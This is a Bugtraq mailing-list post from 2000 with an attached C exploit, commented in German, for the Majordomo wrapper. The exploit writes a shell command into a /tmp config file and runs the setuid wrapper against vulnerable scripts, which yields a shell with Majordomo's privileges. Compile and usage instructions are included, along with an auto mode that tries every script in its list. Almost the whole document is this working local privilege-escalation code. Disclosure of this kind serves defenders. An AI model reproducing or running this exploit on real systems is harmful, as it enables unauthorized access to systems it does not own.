[15149] in bugtraq
more majordomo brokeness - "exploit"
daemon@ATHENA.MIT.EDU (Morpheus)
Thu Jun 1 21:14:28 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_001D_01BFCBC9.D3DB68A0"
Message-Id: <LPBBINOIAGJKJFMHHGGMOECNCBAA.morpheusbd@gmx.net>
Date: Thu, 1 Jun 2000 13:03:49 +0200
Reply-To: Morpheus <morpheusbd@GMX.NET>
From: Morpheus <morpheusbd@GMX.NET>
X-To: Bugtraq <BUGTRAQ@SECURITYFOCUS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_001D_01BFCBC9.D3DB68A0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Just a quick 'n dirty "exploit" for the Majordomo-prob.
Probably usefull to Admins who want to check (automatically)
their system with one small script ...
It's possible to adapt this program easily - if you need to.
Unfortunately I have no time to write an English version
but I think the language is unimportant for the exploitation ...
regards,
Morpheus
------=_NextPart_000_001D_01BFCBC9.D3DB68A0
Content-Type: application/octet-stream;
name="MAJOR2.C"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="MAJOR2.C"
/*
MAJORDOMO - EXPLOIT F=DCR LINUX
getestet bis v1.94.5
programmiert von Morpheus
=20
Der Exploit basiert auf der fehlerhaften Nutzung von Majordomo-
Skripten. Standardm=E4=DFig wird vom Exploit das =
"bounce-remind"-Skript
verwandt. Bei Erfolg liefert der Exploit eine Shell mit einer uid
und gid dem Majordomo Wrapper entsprechend gesetzt.
Getestet wurde der Exploit auf SuSE Linux 6.0 / 6.3 (CeBIT-Version). =
=20
Zur Kompilierung des Exploits:
=20
gcc major.c -o major =20
=20
Zur Nutzung des Exploits:
=20
Wenn der Exploit <major> hei=DFt dann einfach ./major eingeben. Es
sollte gen=FCgen. Wenn dann keine Shell gestartet wird, bitte die
Fehlermeldungen beachten. Entweder ist die Majordomo-Version nicht
"kompatibel" oder das Majordomo-Skript ist nicht vorhanden. Dann
sollte man entweder ./major auto eingeben, so dass der Exploit
alle verwundbaren Skripts ausprobiert, oder man gibt ./major =
<skript>
ein, wobei <skript> durch ein verwundbares Majordomo-Skript zu =
ersetzen
ist. Um die Hilfe-=DCbersicht zu bekommen, einfach ./major -h =
eingeben.
=20
Programmiert von Morpheus [BrightDarkness] '00
URL: www.brightdarkness.de
Mail: morpheusbd@gmx.net
=20
Dieser Bug in Majordomo wurde nicht von mir entdeckt. Ich habe nur
zu diesem Bug den entsprechenden Exploit programmiert.
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define MAJORDOMO "/usr/lib/majordomo/wrapper"
#define SHELL "system(\"/bin/sh\")"
#define MORPHEUS "/tmp/morpheus"
#define WRAPPER "wrapper"
void intro(void);
void usage(char *arg);
int main(int argc, char **argv)
{
char skript[30];
char *skripte[40];
int i =3D 0; =20
int file;
skripte[1] =3D "bounce-remind";
skripte[2] =3D "archive2.pl";
skripte[3] =3D "config-test";
skripte[4] =3D "digest";
skripte[5] =3D "majordomo";
skripte[6] =3D "request-answer";
skripte[7] =3D "resend";
=20
if ((argc =3D=3D 2) && (strcmp(argv[1], "-h") =3D=3D 0))
usage(argv[0]);
=20
if (argc =3D=3D 2)
strncpy(skript,argv[1], strlen(skript));
else
strcpy(skript, "bounce-remind");
=20
if ((file =3D open(MORPHEUS, O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0)
{
perror(MORPHEUS);
exit(1);
}
write(file, SHELL, strlen(SHELL));
close(file);
intro();
if (strncmp(skript, "auto") =3D=3D 0)
{
for (i =3D 1; i <=3D 7; i++)
{
printf("using : %s\n", skripte[i]);
if (execl(MAJORDOMO, WRAPPER, skripte[i], "-C", MORPHEUS, 0) =
=3D=3D -1) perror("EXECL");
}
}
else
{
printf("using : %s\n", skript);
if (execl(MAJORDOMO, WRAPPER, skript, "-C", MORPHEUS, 0) =3D=3D =
-1) perror("EXECL"); =20
} =20
return 0;
}
void intro(void)
{
printf("\033[2J\033[1;1H");
printf("\033[1;33mExploit-Code f=FCr Majordomo Wrapper <=3D =
v1.94.5\n");
printf("\033[1;32mProgrammiert von Morpheus [BrightDarkness] =
'00\n");
printf("\033[1;31mURL: \033[1;32mwww.brightdarkness.de\n");
printf("\033[1;31mmail: \033[1;32mmorpheusbd@gmx.net\n");
printf("\033[0;29m");
}
void usage(char *arg)
{
intro();
printf("\033[1;34m");
printf("Hilfe f=FCr dieses Programm :\n");
printf("Benutzung : %s -h Help screen\n", arg);
printf(" %s auto Trying all scripts =
automatically\n", arg);
printf(" %s <skriptname> Tries just this <script>\n", =
arg);
printf("\033[0;29m");
exit(0);
}
------=_NextPart_000_001D_01BFCBC9.D3DB68A0--